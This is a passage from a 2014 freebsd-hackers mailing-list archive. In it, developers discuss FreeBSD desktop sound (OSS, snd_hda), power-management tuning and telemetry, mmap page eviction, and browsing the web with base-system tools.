X-KLMS-AntiSpam-Envelope-From: danfe@regency.nsu.ru X-KLMS-AntiSpam-Rate: 0 X-KLMS-AntiSpam-Status: not_detected X-KLMS-AntiSpam-Method: none X-KLMS-AntiSpam-Moebius-Timestamps: 2856097, 2856303, 0 X-KLMS-AntiSpam-Interceptor-Info: scan successful X-KLMS-AntiVirus: Kaspersky Security 8.0 for Linux Mail Server 8.0.0.455, not checked X-KLMS-AntiVirus-Status: NotChecked: not checked, skipped X-Mailman-Approved-At: Thu, 03 Apr 2014 11:09:45 +0000 Cc: freebsd-advocacy@freebsd.org, Lars Engels , Matthias Apitz , Eitan Adler , hackers@freebsd.org, dteske@freebsd.org, Jordan Hubbard , "current@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 02:15:16 -0000 On Tue, Apr 01, 2014 at 03:10:22PM -0700, Kevin Oberman wrote: > FreeBSD desktop since 3.3 (makes me a newbie!) I really dislike pulseaudio > and have managed to live without it. Firefox works fine without it. > Unfortunately they dropped OSS support a while go, so I now must use alsa, > but it works well and without the pain of dealing with pulseaudio, a > solution in search of a problem it I ever saw one. PA should just die, of course, just like that kid's other "products". OSS is so nice; it supports all those nifty features like per-application mixing and stuff, we have a very strong implementation of it (kudos to ariff@, let me remind us all: http://people.freebsd.org/~ariff/SOUND_4.TXT.html). Giving Firerox back its OSS support is my on TODO list, unfortunately I do not have any idea when (or if) I can look at it, but that would be a nice step in dealsificaion of our Ports Collection. OSS was, and should remain, the standard Unixish sound system API. > Audio output is pretty system dependent, but I had little problem getting > my audio to auto-switch to headphones when I plugged them in. The setup is > a bit ugly,but I only had to check the available PINs (ugly, ugly) and set > up stuff once. It just works. Not always, unfortunately. I also had a working pin override configuration in /boot/loader.conf, but after r236750 (major snd_hda driver rewrite) it stopped working. I've reported it and tried to get some support from mav@ but he never replied. Since then, I have to carry pre-r236750 version of snd_hda(4) to have working sound. > Power is an issue and I find the current defaults suck. Read mav's article > on the subject on the wiki. >From reading that article, I've only added hw.pci.do_power_nodriver="3" and hw.pci.do_power_resume="0" to /boot/loader.conf. More aggressive settings, like cx_lowest="C2", made my laptop very sluggish and unpleasant to operate; powerd(8) behaves sanely with no tuning, so I wouldn't say that our current defaults suck. The reason why we're behind on the "green" lane is because we generally do not pay much attention when it comes to power-saving during development of FreeBSD. (I'd like to be proven wrong.) ./danfe From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 03:42:31 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A6550B9C; Thu, 3 Apr 2014 03:42:31 +0000 (UTC) Received: from mx.nsu.ru (mx.nsu.ru [84.237.50.39]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 4950974; Thu, 3 Apr 2014 03:42:31 +0000 (UTC) Received: from regency.nsu.ru ([193.124.210.26]) by mx.nsu.ru with esmtp (Exim 4.72) (envelope-from ) id 1WVYXh-000155-Ep; Thu, 03 Apr 2014 10:42:22 +0700 Received: from regency.nsu.ru (localhost [127.0.0.1]) by regency.nsu.ru (8.14.2/8.14.2) with ESMTP id s333fuSH085569; Thu, 3 Apr 2014 10:42:06 +0700 (NOVT) (envelope-from danfe@regency.nsu.ru) Received: (from danfe@localhost) by regency.nsu.ru (8.14.2/8.14.2/Submit) id s333fpC9085547; Thu, 3 Apr 2014 10:41:51 +0700 (NOVT) (envelope-from danfe) Date: Thu, 3 Apr 2014 10:41:50 +0700 From: Alexey Dokuchaev To: David Chisnall Subject: Re: Leaving the Desktop Market Message-ID: <20140403034150.GA78653@regency.nsu.ru> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> User-Agent: Mutt/1.4.2.1i X-KLMS-Rule-ID: 1 X-KLMS-Message-Action: clean X-KLMS-AntiSpam-Lua-Profiles: 59168 [Apr 03 2014] X-KLMS-AntiSpam-Version: 5.3.6 X-KLMS-AntiSpam-Envelope-From: danfe@regency.nsu.ru X-KLMS-AntiSpam-Rate: 0 X-KLMS-AntiSpam-Status: not_detected X-KLMS-AntiSpam-Method: none X-KLMS-AntiSpam-Moebius-Timestamps: 2857058, 2857087, 0 X-KLMS-AntiSpam-Interceptor-Info: scan successful X-KLMS-AntiVirus: Kaspersky Security 8.0 for Linux Mail Server 8.0.0.455, not checked X-KLMS-AntiVirus-Status: NotChecked: not checked, skipped X-Mailman-Approved-At: Thu, 03 Apr 2014 11:17:30 +0000 Cc: Eitan Adler , hackers@FreeBSD.org, current@FreeBSD.org, Jordan Hubbard , freebsd-advocacy@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 03:42:31 -0000 On Tue, Apr 01, 2014 at 08:38:28AM +0100, David Chisnall wrote: > On 1 Apr 2014, at 08:11, Jordan Hubbard wrote: > > 1. Power. As you point out, being truly power efficient is a complete > > top-to-bottom engineering effort and it takes a lot more than just trying > > to idle the processor whenever possible to achieve that. You need to > > optimize all of the hot-spot routines in the system for power efficiency > > (which actually involves a fair amount of micro architecture knowledge), > > you need a kernel scheduler that is power management aware, you need a > > process management system that runs as few things as possible and knows > > how to schedule things during package wake-up intervals, you need timers > > to be coalesced at the level where applications consume them, the list > > just goes on and on. It's a lot of engineering work, and to drive that > > work you also need a lot of telemetry data and people with big sticks > > running around hitting people who write power-inefficient code. FreeBSD > > has neither. Thanks Jordan, this is an excellent elaboration on why exactly we're behind on the "green" lane, and on power-neglective FreeBSD development overall. > Just a small note here: Improving power management is something that the > Core Team and the Foundation have jointly identified as an important goal, > in particular for mobile/embedded scenarios. We're currently coordinating > potential sponsors for the work and soliciting proposals from people > interested in doing the work. If you know of anyone in either category > then please drop either me, core, or the Foundation an email. > > Some things have already seen progress, for example Davide's calloutng work > includes timer coalescing, but there are still a lot of, uh, opportunities > for improvement. The Symbian EKA2 book has some very interesting detail on > their power management infrastructure, which would be worth looking at for > anyone interested in working on this, and I believe your former employer > had some expertise in this area. Now that's something I'm glad to hear. It would be cool if FreeBSD gained some power-efficient software that run smoothly together with hardware (and laptops in particular) developed by Jordan's former employer. ;-) > For example, currently hald wakes up every 30 seconds and polls the optical > drive if you have one. Why? Because there's no devd event when a CD is > inserted, so the only way for it to get these notifications is polling. I'm surprised to find out that our devd(8) does not emit some event on CD insertion. On the other, if by "hald" you mean the one installed by the `sysutils/hal' port, I've personally never run it, and do not recommend it to anyone. ./danfe From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 07:01:36 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9D64B1BA; Thu, 3 Apr 2014 07:01:36 +0000 (UTC) Received: from mx.nsu.ru (mx.nsu.ru [84.237.50.39]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 320EF133; Thu, 3 Apr 2014 07:01:36 +0000 (UTC) Received: from regency.nsu.ru ([193.124.210.26]) by mx.nsu.ru with esmtp (Exim 4.72) (envelope-from ) id 1WVbeJ-0006sZ-7P; Thu, 03 Apr 2014 14:01:24 +0700 Received: from regency.nsu.ru (localhost [127.0.0.1]) by regency.nsu.ru (8.14.2/8.14.2) with ESMTP id s3370ioh039815; Thu, 3 Apr 2014 14:00:54 +0700 (NOVT) (envelope-from danfe@regency.nsu.ru) Received: (from danfe@localhost) by regency.nsu.ru (8.14.2/8.14.2/Submit) id s3370c6D039797; Thu, 3 Apr 2014 14:00:38 +0700 (NOVT) (envelope-from danfe) Date: Thu, 3 Apr 2014 14:00:38 +0700 From: Alexey Dokuchaev To: Kevin Oberman Subject: Re: Leaving the Desktop Market Message-ID: <20140403070038.GA31307@regency.nsu.ru> References: <20140401094044.GX44074@e-new.0x20.net> <083e01cf4db9$f8f4e040$eadea0c0$@FreeBSD.org> <20140401174302.GU44074@e-new.0x20.net> <20140401195006.GA1368@tiny-r255948> <20140403021417.GA50938@regency.nsu.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-KLMS-Rule-ID: 1 X-KLMS-Message-Action: clean X-KLMS-AntiSpam-Lua-Profiles: 59181 [Apr 03 2014] X-KLMS-AntiSpam-Version: 5.3.6 X-KLMS-AntiSpam-Envelope-From: danfe@regency.nsu.ru X-KLMS-AntiSpam-Rate: 0 X-KLMS-AntiSpam-Status: not_detected X-KLMS-AntiSpam-Method: none X-KLMS-AntiSpam-Moebius-Timestamps: 2857303, 2857323, 0 X-KLMS-AntiSpam-Interceptor-Info: scan successful X-KLMS-AntiVirus: Kaspersky Security 8.0 for Linux Mail Server 8.0.0.455, not checked X-KLMS-AntiVirus-Status: NotChecked: not checked, skipped X-Mailman-Approved-At: Thu, 03 Apr 2014 11:17:48 +0000 Cc: Lars Engels , Matthias Apitz , Eitan Adler , hackers@freebsd.org, dteske@freebsd.org, Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 07:01:36 -0000 On Wed, Apr 02, 2014 at 11:39:07PM -0700, Kevin Oberman wrote: > On Wed, Apr 2, 2014 at 7:14 PM, Alexey Dokuchaev wrote: > > [...] The setup is a bit ugly, but I only had to check the available PINs > > (ugly, ugly) and set up stuff once. It just works. > > > > Not always, unfortunately. I also had a working pin override configuration > > in /boot/loader.conf, but after r236750 (major snd_hda driver rewrite) it > > stopped working. I've reported it and tried to get some support from mav@ > > but he never replied. Since then, I have to carry pre-r236750 version of > > snd_hda(4) to have working sound. > > Is that just in head? Do I have more fun to look forward to? r236750 is MFC to stable/8 (yeah, it went pretty far; if I had been doing upgrades more often I would probably have caught it and vetoed MFC, but we are now here where we are, so I guess I have to live with it until I find time to sit down and figure out what went wrong with my setup). That said, if everything keeps working for you, then you probably should not worry. :) > The key problem with power, as I have written several times is the > conflation of TCC or throttling as power management tools. Mix them (they > really don't save power) with Cx states is often worse than what you are > seeing. It can cause many systems to lock up. > > Try setting: > powerd_enable="YES" > performance_cx_lowest="Cmax" > economy_cx_lowest="Cmax" > into /etc/rc.conf and putting: > # Disable CPU throttling > hint.p4tcc.0.disabled=1 > hint.acpi_throttle.0.disabled=1 > into /boot/loader.conf. That should work MUCH better and will really save > power (assuming that your system supports better than C2 as C2 usually is > a pretty minor power savings. C3 or higher is usually where things really > start to improve. Wow, that's great, thanks for your advice! I'll try these out and see how it will go. > I've read a paper from SDSC (San Diego Supercomputer Center) showing that > CX states are by far and away the most significant power saver and they > should cause only very trivial and unnoticeable impact on performance. > Number two is EST, but that is almost always enabled on FreeBSD, so I > assume that you have that running already (or the AMD equivalent). Noted. FWIW, I do have EST enabled; I'm also running it with modified DSDT file (patched _PSS table) for CPU undervolting (less heat, longer battery life). ./danfe From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 11:29:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 63F39C13; Thu, 3 Apr 2014 11:29:09 +0000 (UTC) Received: from mail-lb0-x230.google.com (mail-lb0-x230.google.com [IPv6:2a00:1450:4010:c04::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id AF913F6E; Thu, 3 Apr 2014 11:29:08 +0000 (UTC) Received: by mail-lb0-f176.google.com with SMTP id 10so1188832lbg.21 for ; Thu, 03 Apr 2014 04:29:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=Jd0ADkuz6D4KNxXNmxaFa259uswGDdTzddl0lOo1nlE=; b=KEZFC25dx5SlsI6P9/sbgL8Vo5FFeTgyU9irkksycJqb4qdpw5AYSVPlu4JVbgCN1x w3fatVVFFKfI+H3eecjSCk8HwKSnpttWB/o1ok318aXDRXsfFmTZez9ykcgsFykLB+4T FziRUzeJVXf4Qw0vUDQwMcJtUSiX1t4O69l3831UIX6xeA/woNkJ9VNVHtpn7/vcUGGW G90mocIXYZ5vm53J9xridxm3C6ZIeluAHrsGh0kz6pIfbCy/qUGi13WhO88cyDKoCh+V NRyZtpfYHzB+uEB9zuPP0hV7MhsfZG5JsMlml7iJlDQNFaDk3ir4EZHCxVYsVY/BlwVY tXxA== X-Received: by 10.152.19.7 with SMTP id a7mr4255097lae.16.1396524546610; Thu, 03 Apr 2014 04:29:06 -0700 (PDT) Received: from ?IPv6:2a02:6b8::408:d99c:501a:169e:2455? ([2a02:6b8:0:408:d99c:501a:169e:2455]) by mx.google.com with ESMTPSA id kz7sm4622628lab.16.2014.04.03.04.29.04 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 03 Apr 2014 04:29:05 -0700 (PDT) Content-Type: text/plain; charset=utf-8 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: madvise() vs posix_fadvise() From: Dmitry Sivachenko In-Reply-To: <201403271141.41487.jhb@freebsd.org> Date: Thu, 3 Apr 2014 15:29:03 +0400 Content-Transfer-Encoding: quoted-printable Message-Id: <0AF273E6-CD43-417C-A00C-5B7445090D5B@gmail.com> References: <201403271141.41487.jhb@freebsd.org> To: John Baldwin X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org, =?utf-8?Q?Trond_Endrest=C3=B8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 11:29:09 -0000 On 27 =D0=BC=D0=B0=D1=80=D1=82=D0=B0 2014 =D0=B3., at 19:41, John = Baldwin wrote: >>=20 >> I know about mlock(2), it is a bit overkill. >> Can someone please explain the difference between = madvise(MADV_WILLNEED) and=20 > posix_fadvise(POSIX_FADV_WILLNEED)? >=20 > Right now FADV_WILLNEED is a nop. (I have some patches to implement = it for > UFS.) I can't recall off the top of my head if MADV_WILLNEED is also = a nop. > However, if both are fully implemented they should be similar in terms = of > requesting async read-ahead. MADV_WILLNEED might also conceivably > pre-create PTEs while FADV_WILLNEED can be used on a file that isn't > mapped but is accessed via read(2). >=20 Hello and thanks for your reply. Right now I am facing the following problem (stable/10): There is a (home-grown) webserver which mmap's a large amount of data = files (total size is a bit below of RAM, say ~90GB of files with 128GB = of RAM). Server writes access.log (several gigabytes per day). Some of mmaped data files are used frequently, some are used rarely. On = startup, server walks through all of these data files so it's content is = read from disk. After some time of running, I see that rarely used data files are purged = from RAM (access to them leads to long-running disk reads) in favour of = disk cache (at 0:00, when I rotate and gzip log file I see Inactive memory goes = down to the value of log file size). Is there any way to tell VM system not to push mmap'ed regions out of = RAM in favour of disk caches? From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 14:22:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 05510578 for ; Thu, 3 Apr 2014 14:22:00 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "wonkity.com", Issuer "wonkity.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id A7E2D243 for ; Thu, 3 Apr 2014 14:21:59 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.8/8.14.8) with ESMTP id s33ELuok081115 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Thu, 3 Apr 2014 08:21:56 -0600 (MDT) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.8/8.14.8/Submit) with ESMTP id s33ELujS081112; Thu, 3 Apr 2014 08:21:56 -0600 (MDT) (envelope-from wblock@wonkity.com) Date: Thu, 3 Apr 2014 08:21:56 -0600 (MDT) From: Warren Block To: Eitan Adler Subject: Re: Web browsing usage from base In-Reply-To: Message-ID: References: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Thu, 03 Apr 2014 08:21:56 -0600 (MDT) Cc: freebsd-hackers@freebsd.org, Brian Kim X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 14:22:00 -0000 On Wed, 2 Apr 2014, Eitan Adler wrote: > On 2 April 2014 09:02, Brian Kim wrote: >> Would anyone like to share their best approach to browsing the web only using utilities from a base install? > > $pkg install firefox > $firefox > > seems to work (provided X is running). fetch(1) was already mentioned. telnet(1) or nc(1) would allow interactive use, admittedly not conveniently (level: neckbeard). I can imagine a (terrible) text browser hacked together with fetch, sh, dialog, and grep/sed/awk to parse out links. But even full text browsers like lynx, links, and w3m are often useless due to the modern web's dependence on images, Javascript, and such. Incidentally, the issue of the base OS not having a text web browser has come up several times lately. I don't know if there's one suitable for import, but it's something to consider. Writing one using only the tools from base would be an interesting/horrifying experiment. From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 14:27:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7844A771 for ; Thu, 3 Apr 2014 14:27:39 +0000 (UTC) Received: from mail-la0-x22c.google.com (mail-la0-x22c.google.com [IPv6:2a00:1450:4010:c03::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id F0FB829A for ; Thu, 3 Apr 2014 14:27:38 +0000 (UTC) Received: by mail-la0-f44.google.com with SMTP id c6so1407937lan.31 for ; Thu, 03 Apr 2014 07:27:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:content-type; bh=bmwLjq3I8GlfEdxgS5zxrmO8j47V7+XiqIgJXbjbJIY=; b=kIpa+ck5b6I6WoMWSKnOZqag1aIsxwvq2b3z5G2PKGfSnyiIWdgshB39qr/A00cekS COQhdQ+6J8HCQyFGJx6lafj66KtFZu91pk6ps+tENISYGrExOtpfxFoTKgZtSDTSndYp 4XF8M25KtJ1N80Q26znqPTn9zX21hxvK8GK7fAdRr1Howdse23deRdkNvBUOaxvZPXVb sNJA+XwRolQn+ykHIjM/0KTWXjRw5Ed6vdc07exr577dxnrGWE0cn4/BMt7EHoSEhzne xlbCDz/kZ4cg9714AyE4ao/buXebF5FDwhmi1rXqwny/pFNzIWQDSdbsT6nZdlwdYzf9 XmNQ== X-Received: by 10.112.165.40 with SMTP id yv8mr88332lbb.83.1396535256907; Thu, 03 Apr 2014 07:27:36 -0700 (PDT) MIME-Version: 1.0 Sender: royce.williams@gmail.com Received: by 10.112.1.33 with HTTP; Thu, 3 Apr 2014 07:27:16 -0700 (PDT) In-Reply-To: References: <13492F6B-C667-4569-87D2-3F808AE7356D@gmail.com> From: Royce Williams Date: Thu, 3 Apr 2014 06:27:16 -0800 X-Google-Sender-Auth: V3SKLUPzTuFJ9T4ZOv4Cite8Sb8 Message-ID: Subject: Re: Web browsing usage from base To: FreeBSD Hackers Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 14:27:39 -0000 On Thu, Apr 3, 2014 at 6:21 AM, Warren Block wrote: > On Wed, 2 Apr 2014, Eitan Adler wrote: > > On 2 April 2014 09:02, Brian Kim wrote: >> >>> Would anyone like to share their best approach to browsing the web only >>> using utilities from a base install? >>> >> >> $pkg install firefox >> $firefox >> >> seems to work (provided X is running). >> > > fetch(1) was already mentioned. telnet(1) or nc(1) would allow > interactive use, admittedly not conveniently (level: neckbeard). I can > imagine a (terrible) text browser hacked together with fetch, sh, dialog, > and grep/sed/awk to parse out links. But even full text browsers like > lynx, links, and w3m are often useless due to the modern web's dependence > on images, Javascript, and such. > > Incidentally, the issue of the base OS not having a text web browser has > come up several times lately. I don't know if there's one suitable for > import, but it's something to consider. Writing one using only the tools > from base would be an interesting/horrifying experiment. > It would also be useful to hear more about the use cases that are causing this spike in interest. Royce From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 14:50:08 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A63122E7; Thu, 3 Apr 2014 14:50:08 +0000 (UTC) Received: from mail-we0-x232.google.com (mail-we0-x232.google.com [IPv6:2a00:1450:400c:c03::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 11C8E6ED; Thu, 3 Apr 2014 14:50:07 +0000 (UTC) Received: by mail-we0-f178.google.com with SMTP id u56so1929797wes.23 for ; Thu, 03 Apr 2014 07:50:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type:content-transfer-encoding; bh=gv87s4tdT6L+6gbYTWdG/UHES6r/Z6DpSP97lIwCriY=; b=iWhp5bL7GKKLMvHYiIgi+d19jExsrIe5FubtiK/vjWApv/o0rW4ApNrEzKsogHBFF7 9I4wSV53AgwzoNKHzkX0xpiPT91r2a8OjDJIzoBR7S+TYgUSQoNBzjUDS8mog8xNVuxE Yu6+LsuRkRXV1+N6H5fcMMuk6vDN4U/EdyGp6G7Tjk2yJKaj8MOAww2ANuy56HKAFX81 9YcmiFh5JZxWZl/cak6CIkM+EInAKpp5fCEux1yxTZaGhEma0sl7FFqG6CNHwassrnFV r+dGgLRMO6z//IMYpo1dmzJ91jf7IPeaHpM/ByHdImw7I3R7q9QyM36gTrAx4cTlgWH/ 7XTQ== MIME-Version: 1.0 X-Received: by 10.180.73.19 with SMTP id h19mr12035121wiv.40.1396536606298; Thu, 03 Apr 2014 07:50:06 -0700 (PDT) Sender: asomers@gmail.com Received: by 10.194.168.130 with HTTP; Thu, 3 Apr 2014 07:50:06 -0700 (PDT) In-Reply-To: <89A553DC-199A-47E3-B352-34A4CDCAC4E4@ixsystems.com> References: <3F7430D7-3C0F-43E1-8EBD-8AA4F701497C@FreeBSD.org> <20140403034150.GA78653@regency.nsu.ru> <89A553DC-199A-47E3-B352-34A4CDCAC4E4@ixsystems.com> Date: Thu, 3 Apr 2014 08:50:06 -0600 X-Google-Sender-Auth: 7oaYLcmbupj43tOeT8l5DWK1mIE Message-ID: Subject: Re: Power Efficiency (was Re: Leaving the Desktop Market) From: Alan Somers To: Jordan Hubbard Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: Alexey Dokuchaev , "freebsd-hackers@freebsd.org" , David Chisnall , Eitan Adler X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 03 Apr 2014 14:50:08 -0000 On Wed, Apr 2, 2014 at 11:45 PM, Jordan Hubbard wrote: > [ Dropping Advocacy and Current from the CC as this has morphed ] > > On Apr 3, 2014, at 8:41 AM, Alexey Dokuchaev wrote: > >>> Some things have already seen progress, for example Davide's calloutng = work >>> includes timer coalescing, but there are still a lot of, uh, opportunit= ies >>> for improvement. The Symbian EKA2 book has some very interesting detai= l on >>> their power management infrastructure, which would be worth looking at = for >>> anyone interested in working on this, and I believe your former employe= r >>> had some expertise in this area. >> >> Now that's something I'm glad to hear. It would be cool if FreeBSD gain= ed >> some power-efficient software that run smoothly together with hardware (= and >> laptops in particular) developed by Jordan's former employer. ;-) > > I'm also glad to hear that, especially as it will have a big impact on mo= bile / "internet of things" roles (and if you read that Ars Technical artic= le I cited earlier, one particular quote, with which I heartily agree, was:= "I think the desktop on its own will die," Shuttleworth said, explaining t= hat it must be paired with mobile success to embrace the shifting nature of= personal computing."). > > A desktop (increasingly redefined to "laptop") is ultimately just a digit= al hub (to use Apple's marketing parlance) into which you plug sources of d= ata, manage that data, mash it up in new and different ways, etc. on its wa= y to somewhere else. It's most important as a command-and-control or midwa= y point for other devices, in other words, and if it's not designed to inte= roperate with those devices and instead wants to assume that it's really th= e first class citizen in the equation, then that desktop is marked for deat= h. :) > > Back to power, however, since that's the subject: I would first ask the = core team / foundation about their plans for the measurement side of things= , without which there is really no power management effort since you can't = optimize power or performance based purely on guesses and speculation. An= y OS X user is probably familiar with the "systemstats" command, though wha= t they probably aren't as conscious of is just how far and wide (or deep) t= he instrumentation has to go to produce the information you see summarized = there. What's also not apparent is just how valuable that sort of informat= ion is in determining where the majority of your work lies, or how effectiv= e your ongoing efforts to optimize power and performance are. There are a = lot of blind alleys in this kind of work, and without telemetry it's easy t= o fool yourself into thinking you've just pulled off a major coup when, in = reality, all you've done is shaved off a few fractions of a percent, or som= etimes even made things worse. > > I would therefore propose this as the first and most obvious place to sta= rt. Pick an efficient and concise "logging" format (though this isn't logg= ing - this is more like auditing) and design an API that works in both kern= el and user land for allowing things to cut records and identify just where= each record came from. Write a tool for exporting that data to a central = collection point periodically since no single machine (or usage scenario) i= s going to exhibit all the behaviors you want to capture. In fact, the mor= e machines you can collect this data from, the better. With suitable anony= mization, I can see this being something a lot of FreeBSD users would be fi= ne with opting into, and even if the project itself doesn't want to get int= o the data collection business, various appliance vendors with smaller and = more focused ecosystems would certainly be interested and could leverage th= e same technology to set up their own telemetry collection points. We'd us= e it! > > As long as the user has the option of opting in explicitly, I don't see a= ny downside as long as the data collection process itself doesn't cause dis= ruption of service or end up penalizing power or performance (which would b= e both ironic and bad). That's why you want to design a purpose-built data= collection system that you can optimize for maximum utility and minimal im= pact. This is also why existing mechanisms like dtrace / ktrace / truss ar= e simply not suitable. They are fairly blunt instruments which are excelle= nt "swiss army knife" tools for applying in a broad variety of scenarios, b= ut they're not meant to be used all the time, and if you really want to col= lect data that will capture those specific moments when things run amuck or= otherwise exhibit pathological behavior when you're not watching (which Mu= rphy's law practically dictates will happen *especially* when you're not wa= tching), then the data collection needs to happen all the time. > > And yes, this is important enough to us that we'd be willing to contribut= e to the effort, not just talk about it on -hackers. ;-) Instead of reinventing the wheel, how about porting powertop to FreeBSD? It's already got several output modes, and it's designed to monitor the same kind of hardware that FreeBSD users have. The only downside is that it relies on Linux's sysfs, and possibly some other Linux-specific APIs as well. Still, I think it would be easier for us to add a few sysctls and port powertop to use a sysctl interface than it would be to rewrite everything from scratch. https://github.com/fenrus75/powertop https://01.org/powertop/ -Alan > > - Jordan > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 3 15:03:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) 